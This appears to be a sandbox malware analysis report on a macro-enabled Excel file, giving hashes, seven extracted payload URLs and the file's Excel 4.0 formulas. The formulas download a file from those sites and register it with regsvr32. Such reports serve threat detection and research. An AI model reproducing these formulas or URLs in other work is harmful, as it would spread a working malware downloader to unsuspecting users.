Behavioral task
behavioral1
Sample
04a2ecac57e6a456e29bfe282053b80ba7d0b1e6fb4f0a8e3a2fe1edec181b05.xlsm
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
04a2ecac57e6a456e29bfe282053b80ba7d0b1e6fb4f0a8e3a2fe1edec181b05.xlsm
Resource
win10v2004-20241007-en
General
-
Target
04a2ecac57e6a456e29bfe282053b80ba7d0b1e6fb4f0a8e3a2fe1edec181b05
-
Size
38KB
-
MD5
5b612b72ca15b3da0766161f45579803
-
SHA1
8f93d77583525e55292e7595845ad0e3743deede
-
SHA256
04a2ecac57e6a456e29bfe282053b80ba7d0b1e6fb4f0a8e3a2fe1edec181b05
-
SHA512
0af65444cc3f97041ddd1e9863052d62e20cf713cbdf87e0b78c86fb3c0234637640ca45acb722d6ead2a0f10fb5d050d0b9c1b29392b1dfe8fc562245005ed7
-
SSDEEP
768:GbdpCR8kjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIyYS:ewDOZZ1ZYpoQ/pMAeVIyYzaT
Malware Config
Extracted
https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/
https://risamfg.com/wp-admin/JtqFQW/
https://thailand-rocco.com/wp-content/gE7UvFwLh/
https://pregy.org/test/rXTl1DEv0CWCE/
https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/
https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/
https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/","..\wnru.ocx",0,0) =IF('HUNJK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://risamfg.com/wp-admin/JtqFQW/","..\wnru.ocx",0,0)) =IF('HUNJK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thailand-rocco.com/wp-content/gE7UvFwLh/","..\wnru.ocx",0,0)) =IF('HUNJK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pregy.org/test/rXTl1DEv0CWCE/","..\wnru.ocx",0,0)) =IF('HUNJK'!E21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/","..\wnru.ocx",0,0)) =IF('HUNJK'!E23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/","..\wnru.ocx",0,0)) =IF('HUNJK'!E25<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/","..\wnru.ocx",0,0)) =IF('HUNJK'!E27<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wnru.ocx") =RETURN()
Signatures
Files
-
04a2ecac57e6a456e29bfe282053b80ba7d0b1e6fb4f0a8e3a2fe1edec181b05.xlsm office2007